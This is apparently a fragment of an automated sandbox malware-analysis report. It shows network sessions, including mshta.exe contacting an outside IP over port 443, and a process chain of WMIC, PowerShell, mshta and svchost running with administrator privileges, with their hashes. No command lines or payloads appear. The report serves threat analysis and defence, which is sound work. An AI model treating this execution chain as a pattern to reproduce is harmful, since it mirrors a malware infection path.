| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-27 08:03:46 UTC | 398 | OUT | |
| 2024-12-27 08:03:47 UTC | 411 | IN | |
| 2024-12-27 08:03:47 UTC | 958 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN | |
| 2024-12-27 08:03:47 UTC | 1369 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.4 | 49732 | 104.21.67.124 | 443 | 7944 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2024-12-27 08:03:48 UTC | 416 | OUT | |
| 2024-12-27 08:03:49 UTC | 409 | IN | |
| 2024-12-27 08:03:49 UTC | 452 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
| Target ID: | 0 |
| Start time: | 03:03:39 |
| Start date: | 27/12/2024 |
| Path: | C:\Windows\System32\wbem\WMIC.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff6660f0000 |
| File size: | 576'000 bytes |
| MD5 hash: | C37F2F4F4B3CD128BDABCAEB2266A785 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 1 |
| Start time: | 03:03:39 |
| Start date: | 27/12/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff7699e0000 |
| File size: | 862'208 bytes |
| MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 2 |
| Start time: | 03:03:39 |
| Start date: | 27/12/2024 |
| Path: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff788560000 |
| File size: | 452'608 bytes |
| MD5 hash: | 04029E121A0CFA5991749937DD22A1D9 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 3 |
| Start time: | 03:03:39 |
| Start date: | 27/12/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff7699e0000 |
| File size: | 862'208 bytes |
| MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 4 |
| Start time: | 03:03:41 |
| Start date: | 27/12/2024 |
| Path: | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff788560000 |
| File size: | 452'608 bytes |
| MD5 hash: | 04029E121A0CFA5991749937DD22A1D9 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 5 |
| Start time: | 03:03:42 |
| Start date: | 27/12/2024 |
| Path: | C:\Windows\System32\mshta.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff6f58c0000 |
| File size: | 14'848 bytes |
| MD5 hash: | 0B4340ED812DC82CE636C00FA5C9BEF2 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | moderate |
| Has exited: | false |
| Target ID: | 6 |
| Start time: | 03:03:46 |
| Start date: | 27/12/2024 |
| Path: | C:\Windows\System32\svchost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff6eef20000 |
| File size: | 55'320 bytes |
| MD5 hash: | B7F884C1B74A263F746EE12A5F7C9F6A |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
Download Yara Rule
| Memory Dump Source |
|
| Joe Sandbox IDA Plugin |
|
| Similarity |
|
